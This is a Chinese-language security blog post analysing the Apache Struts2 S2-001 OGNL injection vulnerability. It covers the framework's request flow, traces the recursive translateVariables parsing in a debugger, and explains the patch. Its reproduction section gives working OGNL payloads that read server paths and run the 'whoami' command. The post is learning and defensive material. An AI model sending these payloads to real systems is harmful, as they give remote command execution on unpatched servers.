JavaWeb安全入门之 S2-001漏洞分析


跟着大佬们的博客,开始第一篇漏洞分析记录,记录漏洞复现分析过程,已经踩到的坑,开始入坑Java Web安全,补足自己的不足。

1-漏洞简介

官方公告:https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞影响范围:WebWork 2.2.0-WebWork 2.2.5,Struts 2.0.0-Struts 2.0.8

2-Struts2 架构&请求处理流程

在该图中,一共给出了四种颜色的标识,其对应的意义如下。

  • Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
  • Struts Core(浅蓝色):Struts2的核心部分。
  • Interceptors(浅绿色):Struts2的拦截器。
  • User created(浅黄色):需要开发人员创建的部分。

图中的一些组件的作用如下:

  • FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
  • ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
  • ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
  • ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
  • struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
  • ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
  • Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
  • Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
  • Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
  • Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
  • Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。

接下来我们可以结合上图,来了解下Struts2框架是如何处理一个HTTP请求的。

当HTTP请求发送个Web服务器之后,Web服务器根据用户的请求以及 web.xml 中的配置文件,将请求转发给 Struts2 框架进行处理。

  1. HTTP请求经过一系列的过滤器,最后到达 FilterDispatcher 过滤器。
  2. FilterDispatcher 将请求转发 ActionMapper,判断该请求是否需要处理。
  3. 如果该请求需要处理,FilterDispatcher会创建一个 ActionProxy 来进行后续的处理。
  4. ActionProxy 拿着HTTP请求,询问 struts.xml 该调用哪一个 Action 进行处理。
  5. 当知道目标Action之后,实例化一个ActionInvocation来进行调用。
  6. 然后运行在Action之前的拦截器,图中就是拦截器1、2、3。
  7. 运行Action,生成一个Result
  8. Result根据页面模板和标签库,生成要响应的内容。
  9. 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。

3-漏洞复现

1、获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

2、获取web目录

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

3、执行命令

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

4-漏洞分析

4.1 OGNL表达式

OGNL表达式注入漏洞总结–Mi1k7ea

OGNL全称Object-Graph Navigation Language即对象导航图语言,它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。这样可以更好的取得数据。而Struts2框架正是因为滥用OGNL表达式,使之成为了“漏洞之王”。

OGNL三要素
OGNL具有三要素:表达式(expression)、根对象(root)和上下文对象(context)。

  • 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
  • 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
  • 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;

S2-001漏洞分析

先在自定义的ACtion上下个断点,然后发送带payload %{1+1} 的请求。
-w1555

从调用栈中,我们可以看到在 DefaultActionInvocation 类中反射调用了我们自定义的类 LoginAction
路径:/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class

-w2021

此时到达自定义类LoginActionusername的值为%{1+1}

根据披露的漏洞详情可以知道,导致漏洞的原因是用户提交表单数据并且验证失败时,Struts2重新渲染jsp时后端会将用户之前提交的参数值使用ognl表达式进行递归解析然后重新填充到表单中。

根据最开始的struts工作流程图可以知道在一个http请求进来后,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。

-w838

struts2-core-2.0.8.jar!/struts-default.xml 中可以找到默认使用的拦截器栈 defaultStack
-w1033

在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。其中, params 拦截器 会将客户端请求数据设置到 值栈(valueStack)
-w1226

后续 JSP 页面中所有的动态数据都将从值栈中取出。

-w1523

这里是调试的时候进入到 setParameters 函数中(F7),可以喊到框中操作是把我们的输入放进了值栈
-w1450

经过一系列的拦截器处理后,数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。
如下图,在本例中 Action 处理用户登录失败时会返回 error 。

-w999

根据返回结果以及先前在 struts.xml 中定义的视图:

<struts>
    <package name="S2-001" extends="struts-default">
        <action name="login" class="com.lanvnal.s2001.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

程序将开始处理 index.jsp

-w850

我们的payload是从index.jsp输入的,这里需要了解的是jsp的本质也是一个Servlet,在执行jsp的时候tomcat会将其转化为java代码,比如这里index.jsp被转化为index_jsp.java
-w851

当在 JSP 文件中遇到 Struts2 标签 <s:textfield 时,程序会先调用 doStartTag ,并将标签中的属性设置到 TextFieldTag 对象相应属性中。最后,在遇到 /> 结束标签的时候调用 doEndTag 方法。

路径: struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
-w1212

路径: struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ui/AbstractUITag.class
-w957

doEndTag 方法中调用了 this.component.end 方法,而该方法调用了 evaluateParams 方法来填充 JSP 中的动态数据。
-w1038

step into end 方法,路径:struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
-w977

跟进 evaluateParams 方法,会发现如果开启了 Ognl表达式 支持( this.altSyntax() ),程序会在属性字段两边添加 Ognl 表达式字符( %{、} ),然后使用 findValue 方法从值栈中获得该表达式所对应的值。
路径: struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class

我们来看下 findValue 方法中,具体是如何解析 Ognl 表达式。如下图,可以看到 findValue 方法先调用了 translateVariables 方法,该方法又调用了同名重载方法。问题关键,就在这个同名重载方法中。

路径: struts2-core-2.0.8.jar!/org/apache/struts2/components/Component.class

路径: xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class

xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class:31

    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
        Object result = expression;

        while(true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int count = 1;

            while(start != -1 && x < length && count != 0) {
                char c = expression.charAt(x++);
                if (c == '{') {
                    ++count;
                } else if (c == '}') {
                    --count;
                }
            }

            int end = x - 1;
            if (start == -1 || end == -1 || count != 0) {
                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
            }

            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        }
    }

关键就在这个 translateVariables 函数,在调试过程中可以看到传入的username(expression)多次进入该函数,接下来就分析一下每次发生的变化。

第一次,通过 findValue 取出 username的值,赋给了 o

然后经过一些处理,拼接赋值给了 expression ,进入下一轮循环

可以看到,第二次的 o 取得的值已经变成了 2,说明OGNL表达式已经执行了。

最后经过后续的处理,回显在了输入框。

最后经典弹个计算器2333

emmm mac弹计算器没成功,还在找原因。

5-补丁分析

xwork 2.0.4 中添加了一个maxLoopCount属性,限制了递归解析的最大数目。
-w1382

从而在解析到 %{1+1} 时,不会继续向下递归了,这样就修复了该漏洞。

6-参考

Java代码审计之Struts2-001(一) – mochazz

OGNL表达式注入漏洞总结

Java web s2-001 – MengSec

java代码审计入门之s2-001复现分析


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
 上一篇
JavaWeb安全入门之 S2-002漏洞分析 JavaWeb安全入门之 S2-002漏洞分析
新年第一篇文章,Struts2_002的分析,假期也对21年做了简单的规划,希望新的一年能摈弃浮躁,按照规划来完成学习计划,变强!UpUp!!
2021-01-05
下一篇 
Struts2 漏洞分析环境搭建 Struts2 漏洞分析环境搭建
为了补全安全基础,为了不再那么菜,开始学Java安全(ง •̀_•́)ง,从最经典的Struts2漏洞开始,本篇是环境搭建过程。
2020-12-15
  目录